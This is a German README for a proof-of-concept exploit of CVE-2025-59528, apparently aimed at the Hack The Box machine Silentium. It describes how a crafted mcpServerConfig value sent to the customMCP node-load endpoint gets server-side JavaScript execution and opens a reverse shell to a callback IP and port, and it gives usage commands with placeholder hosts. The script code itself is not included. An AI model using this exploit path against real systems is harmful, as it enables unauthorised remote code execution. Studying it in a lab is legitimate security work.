
PoC für CVE-2025-59528 zur Erreichung von Remotecodeausführung auf der Silentium-Maschine bei HTB.
Nur zu Bildungszwecken. Dieses Projekt ist für kontrollierte Sicherheitsforschung, Demonstrationen im Unterricht und autorisierte Tests in einer isolierten Laborumgebung vorgesehen. Verwenden Sie es nicht gegen Systeme, Netzwerke, Anwendungen oder Konten, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
Dieses Proof of Concept zeigt, wie ein unsachgemäß behandelter mcpServerConfig-Wert serverseitige JavaScript-Auswertung und Befehlsausführung über die customMCP-Node-Load-Funktionalität ermöglichen kann.
Das Skript unterstützt zwei Authentifizierungsmethoden:
Authorization-Header.Nach der Authentifizierung übermittelt das Skript eine präparierte Konfiguration an /api/v1/node-load-method/customMCP. Der Payload nutzt die Node.js-Child-Process-Funktionalität, um einen Shell-Befehl auszuführen und eine Rückverbindung zu einem vom Forscher kontrollierten Listener herzustellen. Dieses Verhalten ist nur enthalten, um die potenziellen Auswirkungen in einer autorisierten Laborumgebung zu demonstrieren.
requests.Installieren Sie die Abhängigkeit mit:
python3 -m pip install requests
Speichern Sie das Skript als CVE-2025-59528.py.
python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>
Beispiel mit Werten, die nur der Dokumentation dienen:
python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444
python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>
Beispiel mit Werten, die nur der Dokumentation dienen:
python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444
Das Skript setzt voraus, dass die folgenden Anwendungsrouten verfügbar sind:
/api/v1/auth/login/api/v1/node-load-method/customMCPDas aktuelle Skript erstellt http://-URLs. Aktualisieren Sie die Implementierung für HTTPS, wenn Sie eine Laborbereitstellung testen, die TLS erfordert.
main() validiert die Anzahl der Befehlszeilenargumente und wählt den Authentifizierungsmodus.login() sendet die bereitgestellten Anmeldedaten an den Login-Endpunkt.tokens() extrahiert die Sitzungswerte aus dem Set-Cookie-Antwortheader.shell() erstellt die authentifizierte Anfrage und übermittelt den präparierten mcpServerConfig-Wert.bearer() führt dieselbe Anfrage mit einem Bearer-Token anstelle von Sitzungscookies aus.